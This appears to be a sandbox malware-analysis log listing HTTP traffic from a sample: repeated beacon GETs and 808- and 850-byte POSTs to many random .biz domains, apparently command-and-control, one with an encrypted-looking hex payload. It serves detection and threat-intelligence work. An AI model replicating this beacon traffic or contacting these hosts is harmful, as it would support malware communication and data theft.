Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663904|1681663898|2|3|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|4|4|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|2|5|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|2|5|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663911|1681663898|2|5|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: POST /i HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uhxqin.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: GET /i?subid1=20230417-0252-0072-982c-7830c1b6ff91 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: POST /hwboxlvso HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uhxqin.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: GET /hwboxlvso?subid1=20230417-0252-0217-a565-df83af7995d0 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Cookie: btst=863512d9d6af677f0ece2bda5c4f81c5|84.17.52.2|1681663915|1681663898|3|6|0
Source: global traffic HTTP traffic detected: POST /susodts HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: GET /susodts?subid1=20230417-0252-03d5-b4f5-3a001907b1ba HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: global traffic HTTP traffic detected: POST /vblpijpju HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: GET /vblpijpju?subid1=20230417-0252-0430-af10-a9cc4955344e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: global traffic HTTP traffic detected: POST /tcpsprdnmhtyeag HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /wbmajgxt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uhxqin.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: GET /wbmajgxt?subid1=20230417-0252-2644-9461-0b05eeea2e1e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: POST /caqrqafassxjj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uhxqin.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: GET /caqrqafassxjj?subid1=20230417-0252-278e-b8af-6b55fdf40877 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.uhxqin.biz
Source: global traffic HTTP traffic detected: POST /jdokvd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: GET /jdokvd?subid1=20230417-0252-2771-aad6-dd7bca8ff058 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: global traffic HTTP traffic detected: POST /caav HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: GET /caav?subid1=20230417-0252-2868-b969-a2461ae11758 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww25.anpmnmxo.biz
Source: global traffic HTTP traffic detected: POST /wgxvm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xlfhhhm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /qffxfymgskwgakcd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ifsaia.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /yqcba HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: saytjshyf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /veppwytvxdrfm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vcddkls.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /gndwoflqthflujan HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /sykw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /dt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: deoci.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /wcejyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qaynky.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /wqyilt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: bumxkqgxu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /eqatjiubgyy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dwrqljrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /eqatjiubgyy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dwrqljrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808Data Raw: b7 2b 74 60 35 17 be 93 1c 03 00 00 76 4d dd b8 d4 1e f5 08 d6 93 47 5a b0 70 0b ce 1b 85 11 43 81 90 d3 cc 0d 0a e7 6a 97 f8 fc 6e fe bc e0 d9 37 a5 b2 03 0d 20 13 62 0e 85 fb 78 04 24 03 2e 80 b8 76 91 7f c2 6c f2 bf 5b 99 05 8e e3 16 e9 a0 32 01 46 13 36 db 9a 79 8b 06 c2 be 68 26 9c ad c2 8e d5 a7 66 c2 ab 06 2d 51 86 58 28 16 10 83 8b 32 a0 34 3f 51 00 f1 42 d9 30 4c 1f 0c 49 60 2c 7e a3 0a b7 f3 62 58 1f 0f b1 fb 2a d7 55 a0 e9 3b 9e 1f e4 69 c8 45 24 4f f9 2e ce 97 57 ae 83 12 10 3b ed 57 d2 8f 30 b3 1e 85 06 44 21 fe bb f5 c7 5c 69 91 60 9c bf b9 9e 4e 39 c6 4c 31 cb 1f bc 07 59 5b 4b f6 d2 63 7d e5 01 f2 60 5e 8c 13 8a 08 32 a1 8f 51 9f 04 51 14 9b 57 e6 bc bb c4 28 ea 7b a9 45 40 17 d5 d2 c2 5b 09 b9 9b 42 e1 2e 86 45 83 ed fe 65 bf 81 88 1f d4 68 c9 a0 74 9e e9 be 3f 40 39 3d 24 99 8c 85 e2 96 e9 00 4d ff 7a 69 2f 36 a7 7b 43 ea 0d 47 56 7b 80 d7 65 96 fc 87 17 52 1c 41 c3 ba c4 a2 28 3a 65 71 17 ae c2 74 74 6b 7e 50 28 d8 0b b8 11 d2 db 4c 67 87 4b f8 a7 1a 31 b1 5f 44 43 eb 35 39 26 d1 89 ea bc ef 26 27 3a a3 14 8a 71 ca 43 b2 69 d7 c1 8b c9 dc 55 7e fd 26 1c 5a 4d fb ba 07 58 2d 7b f7 19 e5 fa 06 68 cd cf ba 27 5a f5 ef 8a f9 66 d9 65 a1 d1 d4 41 10 d5 15 38 c2 10 24 e0 95 7e 72 15 e7 02 7b 0e 23 c4 6f 53 49 51 69 1d a6 bf f3 4d df e3 27 05 28 f8 3e 32 33 fe f5 ae 22 3b 0c 7c 0d 3d 18 b8 ff d3 23 38 7c a5 8e 2e 0e d9 a7 4d bf 9b d3 af 83 2e 0b 6d e0 df fa ba 44 0e 2a e9 3c 64 64 ea c3 a3 cf a8 1b 64 53 39 af 64 05 48 37 a5 7c 17 55 d2 db d7 f4 02 29 12 95 3d bd 15 c2 af 5d 6c 06 9a 0d 3c 42 15 73 da bc b5 9f 21 1e f3 e7 84 8b ad 7a b6 7f e6 d8 b9 18 e5 08 2b 95 42 89 6e 89 ba 3a 98 01 c5 80 3f 4a 83 42 c6 a6 1e 37 a8 32 33 6d d9 f8 84 dc de a7 ef 6a 3c ff 43 4d 46 31 2c 73 cb dd 36 12 9c cb c2 29 7c a8 2a 7e d1 70 45 ab 2c 2d a1 3f d3 e0 86 1b 79 19 4d ec c0 81 2c fa 74 a4 80 31 cd 48 81 ba f7 6c e4 af 17 93 cd 74 ce 38 da 43 32 53 dd 42 1c 41 13 30 df d1 a7 87 54 cb 71 7a 9f 5c 61 cf 53 6d cb 46 e4 e7 b0 bc 0b f4 21 61 07 a3 2e 06 6b d3 e4 06 e0 c0 97 f8 fa a8 f1 3c f6 19 66 64 9e 17 57 d8 a3 a6 ac 0d da 08 1c b7 0f 27 4f 52 84 66 8d d5 56 ca 16 ff 5d 21 3e 53 c6 f5 45 31 74 77 4a 0e 0f 67 bd d8 4f a7 08 79 ae bd 67 7a c6 35 89 b5 71 c1 48 b2 e2 c4 95 0b f6 48 89 03 7b 89 80 57 81 aa f1 a1 34 95 43 1a 7e 40 9f 9d 75 1c ec 3d a1 35 e8 f5 54 80 ce 52 1a ae 35 64 aa 57 0c 47 9e f8 ff a3 f2 b3 8b 88 9d 30 8b 21 28 59 56 5b e5 fb 0b b0 bf d1 19 ad ee 15 12 50 ef c9 d2 87 Data Ascii: +t`5vMGZpCjn7 bx$.vl[2F6yh&f-QX(24?QB0LI`,~bX*U;iE$O.W;W0D!\i`N9L1Y[
Source: global traffic HTTP traffic detected: POST /rurtbmoymtj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: nqwjmb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /uiknojtwobaex HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ytctnunms.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /sxiydl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: myups.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /agowvqqbwbonukgx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: myups.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /srgn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oshhkdluh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /ynlqndfhic HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jpskm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /ikqhqhkv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xlfhhhm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /afthrslm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ifsaia.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /edpeer HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: saytjshyf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /gqa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vcddkls.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /ejvrkeslfgl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lrxdmhrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 808
Source: global traffic HTTP traffic detected: POST /ygu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
Source: global traffic HTTP traffic detected: POST /lg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 850
